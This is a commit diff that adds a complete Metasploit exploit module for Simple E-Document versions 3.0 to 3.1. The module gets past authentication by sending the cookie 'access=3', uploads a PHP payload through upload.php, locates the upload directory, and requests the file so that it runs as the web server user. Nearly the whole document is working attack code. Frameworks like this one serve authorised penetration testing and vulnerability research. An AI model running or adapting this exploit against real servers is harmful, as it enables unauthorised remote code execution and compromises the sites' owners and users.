Land #2913, @bcoles Exploit for Simple E-Document

modules/exploits/unix/webapp/simple_e_document_upload_exec.rb

@@ -0,0 +1,149 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::EXE
+  include Msf::Exploit::FileDropper
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Simple E-Document Arbitrary File Upload",
+      'Description'    => %q{
+        This module exploits a file upload vulnerability found in Simple
+        E-Document versions 3.0 to 3.1. Attackers can bypass authentication and
+        abuse the upload feature in order to upload malicious PHP files which
+        results in arbitrary remote code execution as the web server user. File
+        uploads are disabled by default.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'vinicius777[at]gmail.com', # Auth bypass discovery and PoC, kinda
+          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
+        ],
+      'References'     =>
+        [
+          # This EDB uses SQLI for auth bypass which isn't needed.
+          # Sending "Cookie: access=3" with all requests is all
+          # that's needed for auth bypass.
+          ['EDB', '31142']
+        ],
+      'Payload'        =>
+        {
+          'DisableNops' => true,
+          # Arbitrary big number. The payload gets sent as an HTTP
+          # response body, so really it's unlimited
+          'Space'       => 262144 # 256k
+        },
+      'Arch'           => ARCH_PHP,
+      'Platform'       => 'php',
+      'Targets'        =>
+        [
+          # Tested on Simple E-Document versions 3.0 and 3.1
+          [ 'Generic (PHP Payload)', {} ]
+        ],
+      'Privileged'     => false,
+      'DisclosureDate' => 'Jan 23 2014',
+      'DefaultTarget'  => 0))
+
+      register_options(
+        [
+          OptString.new('TARGETURI', [true, 'The base path to Simple E-Document', '/simple_e_document_v_1_31/'])
+        ], self.class)
+  end
+
+  #
+  # Checks if target allows file uploads
+  #
+  def check
+    res = send_request_raw({
+      'uri'    => normalize_uri(target_uri.path, 'upload.php'),
+      'cookie' => 'access=3'
+    })
+
+    unless res
+      vprint_error("#{peer} - Connection timed out")
+      return Exploit::CheckCode::Unknown
+    end
+
+    if res.body and res.body.to_s =~ /File Uploading Has Been Disabled/
+      vprint_error("#{peer} - File uploads are disabled")
+      return Exploit::CheckCode::Safe
+    end
+
+    if res.body and res.body.to_s =~ /Upload File/
+      return Exploit::CheckCode::Appears
+    end
+
+    return Exploit::CheckCode::Safe
+  end
+
+  #
+  # Uploads our malicious file
+  #
+  def upload
+    @fname = "#{rand_text_alphanumeric(rand(10)+6)}.php"
+    php  = "<?php #{payload.encoded} ?>"
+
+    data = Rex::MIME::Message.new
+    data.add_part('upload', nil, nil, 'form-data; name="op1"')
+    data.add_part(php, 'application/octet-stream', nil, "form-data; name=\"fileupload\"; filename=\"#{@fname}\"")
+    post_data = data.to_s.gsub(/^\r\n--_Part_/, '--_Part_')
+
+    print_status("#{peer} - Uploading malicious file...")
+    res = send_request_cgi({
+      'method'   => 'POST',
+      'uri'      => normalize_uri(target_uri.path, 'upload.php'),
+      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
+      'cookie'   => 'access=3',
+      'data'     => post_data,
+      'vars_get' => {
+        'op' => 'newin'
+      }
+    })
+
+    fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading") unless res
+    fail_with(Failure::NotFound, "#{peer} - No upload.php found") if res.code.to_i == 404
+    fail_with(Failure::UnexpectedReply, "#{peer} - Unable to write #{@fname}") if res.body and (res.body =~ /Couldn't copy/ or res.body !~ /file uploaded\!/)
+
+    print_good("#{peer} - Payload uploaded successfully.")
+    register_files_for_cleanup(@fname)
+
+    if res.body.to_s =~ /<br>folder to use: .+#{target_uri.path}\/?(.+)<br>/
+        @upload_path = normalize_uri(target_uri.path, "#{$1}")
+        print_good("#{peer} - Found upload path #{@upload_path}")
+    else
+        @upload_path = normalize_uri(target_uri.path, 'in')
+        print_warning("#{peer} - Could not find upload path - assuming '#{@upload_path}'")
+    end
+  end
+
+  #
+  # Executes our uploaded malicious file
+  #
+  def exec
+    print_status("#{peer} - Executing #{@fname}...")
+    res = send_request_raw({
+      'uri'    => normalize_uri(@upload_path, @fname),
+      'cookie' => 'access=3'
+    })
+    if res and res.code == 404
+      fail_with(Failure::NotFound, "#{peer} - Not found: #{@fname}")
+    end
+  end
+
+  #
+  # Just upload and execute
+  #
+  def exploit
+    upload
+    exec
+  end
+end